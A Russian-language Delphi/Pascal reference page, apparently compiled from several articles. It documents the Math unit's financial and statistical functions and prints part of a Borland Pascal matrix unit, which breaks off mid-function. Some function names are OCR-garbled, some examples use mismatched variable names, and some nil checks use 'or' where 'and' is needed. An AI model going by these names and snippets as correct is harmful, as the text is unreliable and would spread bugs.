Функция вычисляет амортизационные отчисления на определенном этапе. В качестве параметров используются: начальная стоимость Cost, срок службы Life, конечная стоимость Salvage и амортизационный период Period. Вычисления производятся по следующим формулам:
| Период | Сумма амортизационных отчислений |
| 1 | А1:= Cost*2/Life |
| 2 | А2:= (Cost-А1)*2/Life |
| 3 | АЗ:= (Cost-А1-А2)*2/Life |
| ... | ... |
| n | Аn:= (Cost-А1-А2 - ... - Аn-1)*2/Life где n=Period |
|   |
При достижении конечной стоимости, амортизация перестает начисляться, и для последующих периодов функция будет возвращать значение, указанное в параметре Salvage.
Пример:
var
A: Extended;
begin
A := DoubleDecliningBalance(1000, 100, 5, 1); { A:=400 }
end;
|
function FutureValue(Rate: Extended; NPeriods: Integer; Payment, PresentValue: Extended; PaymentTime: TPaymentTime ): Extended; |
Функция вычисляет значение вклада по прошествии определенного периода времени.
NPeriods - количество прошедших единиц периода времени. Например, если проценты начисляются раз в год, то данный параметр определяет количество лет. PresentValue - первоначальная сумма вклада. В параметре Payment указывается сумма, которая будет добавляться вкладчиком ко вкладу в течение каждой единицы периода времени. Если вклад осуществляется только один раз, то Payment:=0. Rate - дивиденты, начисляемые за единицу периода. Параметр PaymentTime определяет, как должны начисляться проценты: PtStartOfPeriod Проценты начисляются в конце единицы периода времени на всю сумму, находящуюся на момент начисления на счету. ptEndOfPeriod Проценты начисляются только на сумму, которая находилась на счету в начале единицы периода времени. Т.е. на сумму, которая была добавлена вкладчиком к вкладу в течение последней единицы времени, проценты будут начислены по прошествии следующего периода.Знак минус в результате функции показывает, что данная сумма является кредитовой, т.е. должна быть списана со счета.
Пример:
Первоначальный вклад составил 100 руб. дивиденды - 10% годовых. Ежегодно вкладчик добавляет к вкладу 50 руб. Проценты начисляются в конце года только на сумму, которая находилась на счету в начале года, т.е. проценты на сумму, которая была добавлена к вкладу в течение года будут начислены только в конце следующего года. Вычисляем сумму вклада через 5 лет.
var
Sum: Extended;
begin
Sum := FutureValue(0.1, 5, 50, 100, ptEndOfPeriod);
{ Sum:= -466.306 }
end;
|
function InterestPayment(Rate: Extended; NPeriods: Integer; PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended; |
Функция вычисляет процентную ставку кредита на определенном этапе в денежном исчислении.
PresentValue - сумма кредита. Rate - фиксированная процентная ставка кредита. NPeriods - число этапов, в течение которых производятся выплаты. Period - номер этапа выплат, для которого производятся вычисления. FutureValue - значение суммы кредита, по истечении выплат. Параметр PaymentTime определяет, происходят выплаты в начале (PtStartOfPeriod) этапа или в конце (ptEndOfPeriod).Знак минус в результате функции показывает, что данная сумма является кредитовой, т.е. должна быть списана со счета.
Пример:
var
Pay: Extended;
begin
Pay := InterestPayment(0.1, 1, 5, 1000, 0, PtStartOfPeriod);
{ Pay:= -90.9090909090909 }
end;
|
function InterestRate(NPeriods: Integer; Payment, PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended; |
Функция вычисляет процентную ставку инвестиций, необходимую для возврата суммы инвестиций PresentValue с дивидендами.
PresentValue - сумма инвестиций. FutureValue - полная сумма, полученная от инвестиций. Включает возврат первоначальной суммы инвестиций и дивиденды. NPeriods - количество этапов выплат. Payment - сумма периодических выплат. Параметр PaymentTime определяет, происходят выплаты в начале (PtStartOfPeriod) этапа или в его конце (ptEndOfPeriod).Пример:
var
IRate: Extended;
begin
IRate := InterestRate(1, -100, -1000, 1500, ptEndOfPeriod);
{ IRate:= 0.4 }
end;
|
function InternalRateOfReturn(Guess: Extended; const CashFlows: array of Double): Extended; |
Функция вычисляет внутреннюю процентную ставку дохода от инвестиций. Массив CashFlows состоит из значений инвестиций и значений получаемого дохода за определенные периоды времени. Первое значение массива должно быть отрицательным, так как оно опредеяет первоначальную сумму инвестиций. Последующие значения могут быть отрицательными (дополнительные инвестиции), положительными (получаемый доход) или равны 0.
Пример:
var
IRate: Extended;
CashFlows: array of Double;
begin
SetLength(CashFlow, 2);
CashFlow[0]:=-1000;
CashFlow[1]:= 1200;
IRate:= InternalRateOfReturn(0, CashFlow);
{ IRate:= 0.4 }
end;
|
function NetPresentValue(Rate: Extended; const CashFlows: array of Double; PaymentTime: TPaymentTime): Extended; |
Функция вычисляет значение текущего платежа, используя массив с расчетными значениями. Данная функция помогает определить расчетную стоимость инвестиций на основе предполагаемого (расчетного) дохода.
Параметр Rate - определяет процентную ставку инвестиций. CashFlows - массив расчетных значений текущих платежей. Параметр PaymentTime указывает, происходят выплаты в начале (PtStartOfPeriod) или в конце (ptEndOfPeriod) платежного этапа.Пример.
var
PayValue: Extended;
CashFlows: array of Double;
begin
SetLength(CashFlow, 3);
CashFlow[0]:=-100;
CashFlow[1]:= 110;
CashFlow[2]:= 121;
PayValue:= NetPresentValue (0.1, CashFlow, PtStartOfPeriod);
{ PayValue:= 100 }
end;
|
function NumberOfPeriods(Rate, Payment, PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended; |
Функция определяет количество этапов, необходимых для погашения кредита до значения определенного в параметре FutureValue.
PresentValue - первоначальная сумма кредита. Rate - процентная ставка. Payment - величина регулярных выплат. Параметр PaymentTime определяет, происходят выплаты в начале (PtStartOfPeriod) этапа или в его конце (ptEndOfPeriod).Пример:
Первоначальная сумма кредита составляет 364руб. Процентная ставка 20%. Регулярные ежемесячные выплаты по 100руб производятся в конце месяца. Рассчитаем сколько месяцев необходимо для полной выплаты кредита.
var
Np: Extended;
begin
Np := NumberOfPeriods (0.2, 100, 364, 0, ptEndOfPeriod);
{ Np:= -3 }
end;
|
function Payment(Rate: Extended; NPeriods: Integer; PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended; |
Функция вычисляет общую сумму погашения кредита, выплачиваемую на каждом этапе (состоит из текущих выплат и процентов).
PresentValue - сумма заимствования. NPeriods - срок выплаты кредита. Данный пармаметр указывается количество этапов выплаты (количество лет, кварталов, месяцев и т.д.). FutureValue - оставшаяся сумма кредита по истечении указанного периода. Rate - величина процентной ставки кредита (ежегодная, ежеквартальная, ежемесячная и т.д. в соответствии с единицей измерения периода времени). Параметр PaymentTime определяет, как происходят платежи: в начале (PtStartOfPeriod) или в конце (ptEndOfPeriod) платежного периода.Пример:
var
PaySum: Extended;
begin
PaySum := Payment(0.2, 1, 100, 0, ptEndOfPeriod);
{ PaySum:=-120 }
end;
|
function PeriodPayment(Rate: Extended; Period, NPeriods: Integer; PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended; |
Функция вычисляет сумму выплат основной части кредита (без учета процентов) на определенном этапе.
PresentValue - сумма заимствований. NPeriods - срок выплаты кредита (количество этапов). FutureValue - сумма кредита по прошествии указанного срока. Period - номер этапа, для которого производятся вычисления. Rate - процентная ставка кредита. Параметр PaymentTime определяет, как происходят платежи: в начале (PtStartOfPeriod) или в конце (ptEndOfPeriod) платежного периода.Сумму выплачиваемых процентов кредита можно вычислить с помощью функции InterestPayment.
Пример:
var
PaySum: Extended;
begin
PaySum := PeriodPayment(0.1, 2, 5, 1000, 0, ptEndOfPeriod);
{ PaySum:= -180.17722887422 }
end;
|
function PresentValue(Rate: Extended; NPeriods: Integer; Payment, FutureValue: Extended; PaymentTime: TPaymentTime): Extended; |
Функция определяет значение вклада в указанный период времени.
Payment - первоначальная сумма вклада. NPeriods - срок вклада. Rate - процентная ставка. FutureValue - значение, которого могут достигнуть инвестиции в определенный период. Параметр PaymentTime указывает, как происходят платежи: в начале (PtStartOfPeriod) или в конце (ptEndOfPeriod) платежного периода.Пример:
var
Value: Extended;
begin
Value := PresentValue(0.1, 1, -100, 0, ptEndOfPeriod);
{ Value:= 90,9090909090909 }
end;
|
function SLNDepreciation(Cost, Salvage: Extended; Life: Integer): Extended; |
Функция вычисляет сумму амортизационных отчислений за единицу периода времени по методу линейной (равномерной) амортизации.
Cost - первоначальную стоимость оборудования. Salvage - конечная стоимость оборудования. Life - срок эксплуатации.Для вычисления амортизации по ускоренному методу используйте функцию SYDDepreciation.
Пример:
var
Amort: Extended;
begin
Amort := SLNDepreciation(1000, 200, 5);
{ Amort:= 160 }
end;
|
function SYDDepreciation(Cost, Salvage: Extended; Life, Period: Integer): Extended; |
Функция вычисляет сумму амортизационных отчислений на заданном этапе по методу ускоренной амортизации.
Cost - первоначальная стоимость оборудования. Salvage - конечная стоимость. Life - срок эксплуатации. Period - номер этапа, для которого определяется сумма амортизационных отчислений.Для вычислений по методу равномерной амортизации используйте функцию SLNDepreciation.
Пример:
var
Amort: Extended;
begin
Amort := SYDDepreciation(1000, 100, 5, 1);
{Amort:=300}
end;
|
Статистические функции и процедуры
MaxIntValue - Максимальное значение в наборе целых чисел. Функция появилась в Delphi 3. ее не существует в Delphi 2 MaxValue - Максимальное значение в наборе чисел. В Delphi 2 функция возвращает минималъное значение Mean - Среднее арифметическое для набора чисел MeanAndStdDev - Одновременное вычисление среднего арифметического и стандартного отклонения для набора чисел. Вычисляется быстрее, чем обе величины по отдельности MinIntValLie - Минимальное значение в наборе целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2 MInValue - Минимальное значение в наборе чисел. В Delphi 2 функция возвращает максимальное значение MoiiientSkewKurtosIs - Статистические моменты порядков с первого по четвертый, а также асимметрия (skew) и эксцесс (kurtosis) для набора чисел Norm - Норма для набора данных (квадратный корень из суммы квадратов) PopnStdDev - Выборочное стандартное отклонение. Отличается от обычного стандартного отклонения тем, что при вычислениях используется выборочное значение дисперсии, PopnVarl апсе (см. ниже) PopnVarlance - Выборочная дисперсия. Использует "смещенную" формулу TotalVanance/n RandG - Генерация нормально распределенных случайных чисел с заданным средним значением и среднеквадратическим отклонением StdDev - Среднеквадратическое отклонение для набора чисел Sum - Сумма набора чисел SLimsAndSquares - Одновременное вычисление суммы и суммы квадратов для набора чисел. Как и в других функциях модуля Math, обе величины вычисляются быстрее, чем по отдельности Sumint - Сумма набора целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2 SLimOfSquares - Сумма квадратов набора чисел Total Variance - "Полная дисперсия" для набора чисел. Это сумма квадратов расстояний всех величин от их среднего арифметического Variance - Выборочная дисперсия для набора чисел. Функция использует "несмещенную" формулу Тоtа1Vаnапсе/(п -1)Модуль реализации матричных вычислений для массивов больших размеров.
Автор: Andrey WEB-сайт: http://delphikingdom.com В этом модуле «осели» все операции с матрицами и векторами, которые я использовал для работы. Но есть алгоритмы, которые многие, наверняка, увидят впервые: Divide – алгоритм прямого деления, MSqrt – квадратный корень, MAbs – абсолютная величина. Поскольку модуль содержит все, от элементарных операций до матричных, разобраться будет несложно:Например, решение системы ЛУ (консольное приложение).
var
N : Integer;
A : Matrix;
b, x : Vector;
begin
N := . . .;
A.Init( N, N );
b.Init( N );
x.Init( N ); // или x.Init( B ); или x.InitRow( A );
. . .
{ формирование A и b }
. . .
x.Divide( b, A );
x.Print;
. . .
end.
Некоторые алгоритмы требуют пояснения, например:
Matrix.E( i, j : LongWord ) или Vector.E( i : Integer ) : RealPtr
(RealPtr = ^Real) функция для вычисления адреса элемента матрицы/вектора. Перешла из ДОС когда в модуле использовался алгоритм управления виртуальной памятью для больших размерностей.
Matrix.Multiple( X, Y : Vector )
Результатом, которого является произведение вектора X на транспонированный вектор Y - матрица ранга 1.
Matrix.Invert( A : Matrix )
– если A[N,M], и N <> M то результат – матрица размера [M,N] – псевдообратная = A+.
Matrix.Addition( A : Matrix; B : Real )
– добавление числа в главную диагональ.
Matrix.Diag( r : Real )– присваивание значения главной диагонали. Когда есть исходный текст - разобраться можно всегда.
Этот модуль используется почти во всех реализованных мной численных алгоритмах и методах. Те части, которые писал не я – приводятся без изменений(по возможности) стиля и комментариев.
Скачать hmatrixw.zip (14K)Матрицы в Delphi.
| Автор: Andrew M. Omutov |
| Девушка-программер едет в трамвае, читает книгу. Старушка смотрит на девушку, смотрит на книгу, крестится и в ужасе выбегает на следующей становке. Девушка читала книгу "Язык Ада". |
Уважаемые сограждане. В ответ на вопросы Круглого Стола, в основном, от собратьев студентов, публикую алгоритмы матричного исчисления. В них нет ничего сложного, все базируется на функциях стандартного Borland Pascal еще версии 7.0.
Я понимаю, что уровень подготовки наших преподавателей весьма отстает не то, что от нынешних технологий, но даже и от весьма более ранних, но все-таки попробую помочь собратьям "по-несчастью".... :o))).
Перечень функций этой библиотеки:
Unit Matrix;
interface
type
MatrixPtr = ^MatrixRec;
MatrixRec = record
MatrixRow : byte;
MatrixCol : byte;
MatrixArray : pointer;
end;
MatrixElement = real;
(* Функция возвращает целочисленную степень *)
function IntPower(X,n : integer) : integer;
(* Функция создает квадратную матрицу *)
function CreateSquareMatrix(Size : byte) : MatrixPtr;
(* Функция создает прямоугольную матрицу *)
function CreateMatrix(Row,Col : byte) : MatrixPtr;
(* Функция дублирует матрицу *)
function CloneMatrix(MPtr : MatrixPtr) : MatrixPtr;
(* Функция удаляет матрицу и возвращает TRUE в случае удачи *)
function DeleteMatrix(var MPtr : MatrixPtr) : boolean;
(* Функция заполняет матрицу указанным числом *)
function FillMatrix(MPtr : MatrixPtr;Value : MatrixElement) : boolean;
(* Функция удаляет матрицу MPtr1 и присваивает ей значение MPtr2 *)
function AssignMatrix(var MPtr1 : MatrixPtr;MPtr2 : MatrixPtr) : MatrixPtr;
(* Функция отображает матрицу на консоль *)
function DisplayMatrix(MPtr : MatrixPtr;_Int,_Frac : byte) : boolean;
(* Функция возвращает TRUE, если матрица 1x1 *)
function IsSingleMatrix(MPtr : MatrixPtr) : boolean;
(* Функция возвращает TRUE, если матрица квадратная *)
function IsSquareMatrix(MPtr : MatrixPtr) : boolean;
(* Функция возвращает количество строк матрицы *)
function GetMatrixRow(MPtr : MatrixPtr) : byte;
(* Функция возвращает количество столбцов матрицы *)
function GetMatrixCol(MPtr : MatrixPtr) : byte;
(* Процедура устанавливает элемент матрицы *)
procedure SetMatrixElement(MPtr : MatrixPtr;Row,Col : byte;Value : MatrixElement);
(* Функция возвращает элемент матрицы *)
function GetMatrixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;
(* Функция исключает векторы из матрицы *)
function ExcludeVectorFromMatrix(MPtr : MatrixPtr;Row,Col : byte) : MatrixPtr;
(* Функция заменяет строку(столбец) матрицы вектором *)
function SetVectorIntoMatrix(MPtr,VPtr : MatrixPtr;_Pos : byte) : MatrixPtr;
(* Функция возвращает детерминант матрицы *)
function DetMatrix(MPtr : MatrixPtr) : MatrixElement;
(* Функция возвращает детерминант треугольной матрицы *)
function DetTriangularMatrix(MPtr : MatrixPtr) : MatrixElement;
(* Функция возвращает алгебраическое дополнение элемента матрицы *)
function AppendixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;
(* Функция создает матрицу алгебраических дополнений элементов матрицы *)
function CreateAppendixMatrix(MPtr : MatrixPtr) : MatrixPtr;
(* Функция транспонирует матрицу *)
function TransponeMatrix(MPtr : MatrixPtr) : MatrixPtr;
(* Функция возвращает обратную матрицу *)
function ReverseMatrix(MPtr : MatrixPtr) : MatrixPtr;
(* Функция умножает матрицу на число *)
function MultipleMatrixOnNumber(MPtr : MatrixPtr;Number : MatrixElement) : MatrixPtr;
(* Функция умножает матрицу на матрицу *)
function MultipleMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
(* Функция суммирует две матрицы *)
function AddMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
(* Функция вычитает из первой матрицы вторую *)
function SubMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
(* Функция решает систему методом Гаусса и возвращает LU-матрицы *)
(* Результат функции - вектор-столбец решений *)
function GausseMethodMatrix(MPtr,VPtr : MatrixPtr;var LPtr,UPtr,BPtr : MatrixPtr) : MatrixPtr;
implementation
function IntPower(X,n : integer) : integer;
var
Res,i : integer;
begin
if n < 1 then IntPower:= 0
else begin
Res:= X;
for i:=1 to n-1 do Res:= Res*X;
IntPower:= Res;
end;
end;
function CreateSquareMatrix(Size : byte) : MatrixPtr;
var
TempPtr : MatrixPtr;
begin
TempPtr:= nil;
GetMem(TempPtr,SizeOf(MatrixRec));
if TempPtr = nil then begin
CreateSquareMatrix:= nil;
Exit;
end;
with TempPtr^ do begin
MatrixRow:= Size;
MatrixCol:= Size;
MatrixArray:= nil;
GetMem(MatrixArray,Size*Size*SizeOf(MatrixElement));
if MatrixArray = nil then begin
FreeMem(TempPtr,SizeOf(MatrixRec));
CreateSquareMatrix:= nil;
Exit;
end;
end;
FillMatrix(TempPtr,0);
CreateSquareMatrix:= TempPtr;
end;
function CreateMatrix(Row,Col : byte) : MatrixPtr;
var
TempPtr : MatrixPtr;
begin
TempPtr:= nil;
GetMem(TempPtr,SizeOf(MatrixRec));
if TempPtr = nil then begin
CreateMatrix:= nil;
Exit;
end;
with TempPtr^ do begin
MatrixRow:= Row;
MatrixCol:= Col;
MatrixArray:= nil;
GetMem(MatrixArray,Row*Col*SizeOf(MatrixElement));
if MatrixArray = nil then begin
FreeMem(TempPtr,SizeOf(MatrixRec));
CreateMatrix:= nil;
Exit;
end;
end;
FillMatrix(TempPtr,0);
CreateMatrix:= TempPtr;
end;
function DeleteMatrix(var MPtr : MatrixPtr) : boolean;
begin
if MPtr = nil then DeleteMatrix:= FALSE
else with MPtr^ do begin
if MatrixArray <> nil then
FreeMem(MatrixArray,MatrixRow*MatrixCol*SizeOf(MatrixElement));
FreeMem(MPtr,SizeOf(MatrixRec));
MPtr:= nil;
DeleteMatrix:= TRUE;
end;
end;
function CloneMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
TempPtr : MatrixPtr;
i,j : byte;
begin
if MPtr = nil then CloneMatrix:= nil
else with MPtr^ do begin
TempPtr:= CreateMatrix(MPtr^.MatrixRow,MPtr^.MatrixCol);
if TempPtr <> nil then begin
for i:= 1 to MatrixRow do
for j:= 1 to MatrixCol do
SetMatrixElement(TempPtr,i,j,GetMatrixElement(MPtr,i,j));
CloneMatrix:= TempPtr;
end else CloneMatrix:= nil;
end;
end;
function FillMatrix(MPtr : MatrixPtr;Value : MatrixElement) : boolean;
var
i,j : byte;
begin
if MPtr = nil then FillMatrix:= FALSE
else with MPtr^ do begin
for i:= 1 to MatrixRow do
for j:= 1 to MatrixCol do
SetMatrixElement(MPtr,i,j,Value);
FillMatrix:= TRUE;
end;
end;
function AssignMatrix(var MPtr1 : MatrixPtr;MPtr2 : MatrixPtr) : MatrixPtr;
begin
DeleteMatrix(MPtr1);
MPtr1:= MPtr2;
AssignMatrix:= MPtr1;
end;
function DisplayMatrix(MPtr : MatrixPtr;_Int,_Frac : byte) : boolean;
var
i,j : byte;
begin
if MPtr = nil then DisplayMatrix:= FALSE
else with MPtr^ do begin
for i:= 1 to MatrixRow do begin
for j:= 1 to MatrixCol do
write(GetMatrixElement(MPtr,i,j) : _Int : _Frac);
writeln;
end;
DisplayMatrix:= TRUE;
end;
end;
function IsSingleMatrix(MPtr : MatrixPtr) : boolean;
begin
if MPtr <> nil then with MPtr^ do begin
if (MatrixRow = 1) and (MatrixCol = 1) then
IsSingleMatrix:= TRUE
else IsSingleMatrix:= FALSE;
end else IsSingleMatrix:= FALSE;
end;
function IsSquareMatrix(MPtr : MatrixPtr) : boolean;
begin
if MPtr <> nil then with MPtr^ do begin
if MatrixRow = MatrixCol then
IsSquareMatrix:= TRUE
else IsSquareMatrix:= FALSE;
end else IsSquareMatrix:= FALSE;
end;
function GetMatrixRow(MPtr : MatrixPtr) : byte;
begin
if MPtr <> nil then GetMatrixRow:= MPtr^.MatrixRow
else GetMatrixRow:= 0;
end;
function GetMatrixCol(MPtr : MatrixPtr) : byte;
begin
if MPtr <> nil then GetMatrixCol:= MPtr^.MatrixCol
else GetMatrixCol:= 0;
end;
procedure SetMatrixElement(MPtr : MatrixPtr;Row,Col : byte;Value : MatrixElement);
var
TempPtr : ^MatrixElement;
begin
if MPtr <> nil then
if (Row <> 0) or (Col <> 0) then with MPtr^ do begin
pointer(TempPtr):= pointer(MatrixArray);
Inc(TempPtr,MatrixRow*(Col-1)+Row-1);
TempPtr^:= Value;
end;
end;
function GetMatrixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;
var
TempPtr : ^MatrixElement;
begin
if MPtr <> nil then begin
if (Row <> 0) and (Col <> 0) then with MPtr^ do begin
pointer(TempPtr):= pointer(MatrixArray);
Inc(TempPtr,MatrixRow*(Col-1)+Row-1);
GetMatrixElement:= TempPtr^;
end else GetMatrixElement:= 0;
end else GetMatrixElement:= 0;
end;
function ExcludeVectorFromMatrix(MPtr : MatrixPtr;Row,Col : byte) : MatrixPtr;
var
NewPtr : MatrixPtr;
NewRow, NewCol : byte;
i,j : byte;
DiffRow, DiffCol : byte;
begin
if MPtr <> nil then with MPtr^ do begin
if Row = 0 then NewRow:= MatrixRow
else NewRow:= MatrixRow-1;
if Col = 0 then NewCol:= MatrixCol
else NewCol:= MatrixCol-1;
NewPtr:= CreateMatrix(NewRow, NewCol);
if (NewPtr = nil) or (NewPtr^.MatrixArray = nil) then begin
ExcludeVectorFromMatrix:= nil;
Exit;
end;
DiffRow:= 0;
DiffCol:= 0;
for i:= 1 to MatrixRow do begin
if i = Row then DiffRow:= 1
else for j:= 1 to MatrixCol do if j = Col then DiffCol:= 1
else SetMatrixElement(NewPtr,i-DiffRow,j-DiffCol,
GetMatrixElement(MPtr,i,j));
DiffCol:= 0;
end;
ExcludeVectorFromMatrix:= NewPtr;
end else ExcludeVectorFromMatrix:= nil;
end;
function SetVectorIntoMatrix(MPtr,VPtr : MatrixPtr;_Pos : byte) : MatrixPtr;
var
TempPtr : MatrixPtr;
i : byte;
begin
if (MPtr <> nil) and (VPtr <> nil) then begin
TempPtr:= CloneMatrix(MPtr);
if TempPtr = nil then begin
SetVectorIntoMatrix:= nil;
Exit;
end;
if VPtr^.MatrixRow = 1 then begin
for i:= 1 to TempPtr^.MatrixCol do
SetMatrixElement(TempPtr,_Pos,i,GetMatrixElement(VPtr,1,i));
end else begin
for i:= 1 to TempPtr^.MatrixRow do
SetMatrixElement(TempPtr,i,_Pos,GetMatrixElement(VPtr,i,1));
end;
SetVectorIntoMatrix:= TempPtr;
end else SetVectorIntoMatrix:= nil;
end;
function DetMatrix(MPtr : MatrixPtr) : MatrixElement;
var
TempPtr : MatrixPtr;
i,j : byte;
Sum : MatrixElement;
begin
if IsSquareMatrix(MPtr) then begin
if not IsSingleMatrix(MPtr) then begin
TempPtr:= nil;
Sum:= 0;
for j:= 1 to GetMatrixCol(MPtr) do begin
AssignMatrix(TempPtr,ExcludeVectorFromMatrix(MPtr,1,j));
Sum:= Sum+IntPower(-1,j+1)*GetMatrixElement(MPtr,1,j)*DetMatrix(TempPtr);
end;
DeleteMatrix(TempPtr);
DetMatrix:= Sum;
end else DetMatrix:= GetMatrixElement(MPtr,1,1);
end else DetMatrix:= 0;
end;
function DetTriangularMatrix(MPtr : MatrixPtr) : MatrixElement;
var
i : byte;
Sum : MatrixElement;
begin
if IsSquareMatrix(MPtr) then begin
Sum:= 1;
for i:= 1 to MPtr^.MatrixRow do
Sum:= Sum*GetMatrixElement(MPtr,i,i);
DetTriangularMatrix:= Sum;
end else DetTriangularMatrix:= 0;
end;
function AppendixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;
var
TempPtr : MatrixPtr;
begin
if IsSquareMatrix(MPtr) then begin
TempPtr:= ExcludeVectorFromMatrix(MPtr,Row,Col);
if TempPtr = nil then begin
AppendixElement:= 0;
Exit;
end;
AppendixElement:= IntPower(-1,Row+Col)*DetMatrix(TempPtr);
DeleteMatrix(TempPtr);
end else AppendixElement:= 0;
end;
function CreateAppendixMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
TempPtr : MatrixPtr;
i,j : byte;
begin
if (MPtr <> nil) or (MPtr^.MatrixArray <> nil) or
(not IsSquareMatrix(MPtr)) then with MPtr^ do begin
TempPtr:= CreateMatrix(MatrixCol,MatrixRow);
for i:= 1 to MatrixRow do
for j:= 1 to MatrixCol do
SetMatrixElement(TempPtr,i,j,AppendixElement(MPtr,i,j));
CreateAppendixMatrix:= TempPtr;
end else CreateAppendixMatrix:= nil;
end;
function TransponeMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
TempPtr : MatrixPtr;
i,j : byte;
begin
if (MPtr <> nil) or (MPtr^.MatrixArray <> nil) then with MPtr^ do begin
TempPtr:= CreateMatrix(MatrixCol,MatrixRow);
for i:= 1 to MatrixRow do
for j:= 1 to MatrixCol do
SetMatrixElement(TempPtr,j,i,GetMatrixElement(MPtr,i,j));
TransponeMatrix:= TempPtr;
end else TransponeMatrix:= nil;
end;
function ReverseMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
TempPtr : MatrixPtr;
Determinant : MatrixElement;
begin
if MPtr <> nil then begin
TempPtr:= nil;
AssignMatrix(TempPtr,CreateAppendixMatrix(MPtr));
AssignMatrix(TempPtr,TransponeMatrix(TempPtr));
Determinant:= DetMatrix(MPtr);
if (TempPtr = nil) or (Determinant = 0) then begin
DeleteMatrix(TempPtr);
ReverseMatrix:= nil;
Exit;
end;
AssignMatrix(TempPtr,MultipleMatrixOnNumber(TempPtr,1/Determinant));
ReverseMatrix:= TempPtr;
end else ReverseMatrix:= nil;
end;
function MultipleMatrixOnNumber(MPtr : MatrixPtr;Number : MatrixElement) : MatrixPtr;
var
TempPtr : MatrixPtr;
i,j : byte;
begin
if MPtr <> nil then with MPtr^ do begin
TempPtr:= CreateMatrix(MatrixRow,MatrixCol);
if TempPtr = nil then begin
MultipleMatrixOnNumber:= nil;
Exit;
end;
for i:= 1 to MatrixRow do
for j:= 1 to MatrixCol do
SetMatrixElement(TempPtr,i,j,GetMatrixElement(MPtr,i,j)*Number);
MultipleMatrixOnNumber:= TempPtr;
end else MultipleMatrixOnNumber:= nil;
end;
function MultipleMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
var
TempPtr : MatrixPtr;
i,j,k : byte;
begin
if (MPtr1 <> nil) and (MPtr2 <> nil) then begin
TempPtr:= CreateMatrix(MPtr1^.MatrixRow,MPtr2^.MatrixCol);
if TempPtr = nil then begin
MultipleMatrixOnMatrix:= nil;
Exit;
end;
for i:= 1 to TempPtr^.MatrixRow do
for j:= 1 to TempPtr^.MatrixCol do
for k:= 1 to MPtr1^.MatrixCol do
SetMatrixElement(TempPtr,i,j,GetMatrixElement(TempPtr,i,j)+
GetMatrixElement(MPtr1,i,k)*GetMatrixElement(MPtr2,k,j));
MultipleMatrixOnMatrix:= TempPtr;
end else MultipleMatrixOnMatrix:= nil;
end;
function AddMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
var
TempPtr : MatrixPtr;
i,j,k : byte;
begin
if (MPtr1 <> nil) and (MPtr2 <> nil) then begin
TempPtr:= CreateMatrix(MPtr1^.MatrixRow,MPtr2^.MatrixCol);
if TempPtr = nil then begin
AddMatrixOnMatrix:= nil;
Exit;
end;
for i:= 1 to TempPtr^.MatrixRow do
for j:= 1 to TempPtr^.MatrixCol do
SetMatrixElement(TempPtr,i,j,GetMatrixElement(Mptr1,i,j)+
GetMatrixElement(MPtr2,i,j));
AddMatrixOnMatrix:= TempPtr;
end else AddMatrixOnMatrix:= nil;
end;
function SubMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;
var
TempPtr : MatrixPtr;
i,j,k : byte;
begin
if (MPtr1 <> nil) and (MPtr2 <> nil) then begin
TempPtr:= CreateMatrix(MPtr1^.MatrixRow,MPtr2^.MatrixCol);
if TempPtr = nil then begin
SubMatrixOnMatrix:= nil;
Exit;
end;
for i:= 1 to TempPtr^.MatrixRow do
for j:= 1 to TempPtr^.MatrixCol do
SetMatrixElement(TempPtr,i,j,GetMatrixElement(MPtr1,i,j)-
GetMatrixElement(MPtr2,i,j));
SubMatrixOnMatrix:= TempPtr;
end else SubMatrixOnMatrix:= nil;
end;
function GausseMethodMatrix(MPtr,VPtr : MatrixPtr;var LPtr,UPtr,BPtr : MatrixPtr) : MatrixPtr;
var
TempPtr : MatrixPtr;
TempVPtr : MatrixPtr;
TempLPtr : MatrixPtr;
TempUPtr : MatrixPtr;
XSum : MatrixElement;
i,j,k : byte;
begin
if (MPtr <> nil) and (VPtr <> nil) then begin
TempUPtr:= CloneMatrix(MPtr);
if TempUPtr = nil then begin
GausseMethodMatrix:= nil;
Exit;
end;
TempLPtr:= CreateMatrix(MPtr^.MatrixRow,MPtr^.MatrixCol);
if TempLPtr = nil then begin
DeleteMatrix(TempUPtr);
GausseMethodMatrix:= nil;
Exit;
end;
TempVPtr:= CloneMatrix(VPtr);
if TempVPtr = nil then begin
DeleteMatrix(TempLPtr);
DeleteMatrix(TempUPtr);
GausseMethodMatrix:= nil;
Exit;
end;
TempPtr:= CreateMatrix(MPtr^.MatrixRow,1);
if TempPtr = nil then begin
DeleteMatrix(TempVPtr);
DeleteMatrix(TempLPtr);
DeleteMatrix(TempUPtr);
GausseMethodMatrix:= nil;
Exit;
end;
for j:= 1 to MPtr^.MatrixCol-1 do begin
SetMatrixElement(TempLPtr,j,j,1);
for i:= j+1 to MPtr^.MatrixRow do begin
SetMatrixElement(TempLPtr,i,j,GetMatrixElement(TempUPtr,i,j)/
GetMatrixElement(TempUPtr,j,j));
for k:= j to MPtr^.MatrixCol do begin
SetMatrixElement(TempUPtr,i,k,GetMatrixElement(TempUPtr,i,k)-
GetMatrixElement(TempLPtr,i,j)*GetMatrixElement(TempUPtr,j,k));
end;
SetMatrixElement(TempVPtr,i,1,GetMatrixElement(TempVPtr,i,1)-
GetMatrixElement(TempLPtr,i,j)*GetMatrixElement(TempVPtr,j,1));
end;
end;
SetMatrixElement(TempLPtr,TempLPtr^.MatrixRow,TempLPtr^.MatrixCol,1);
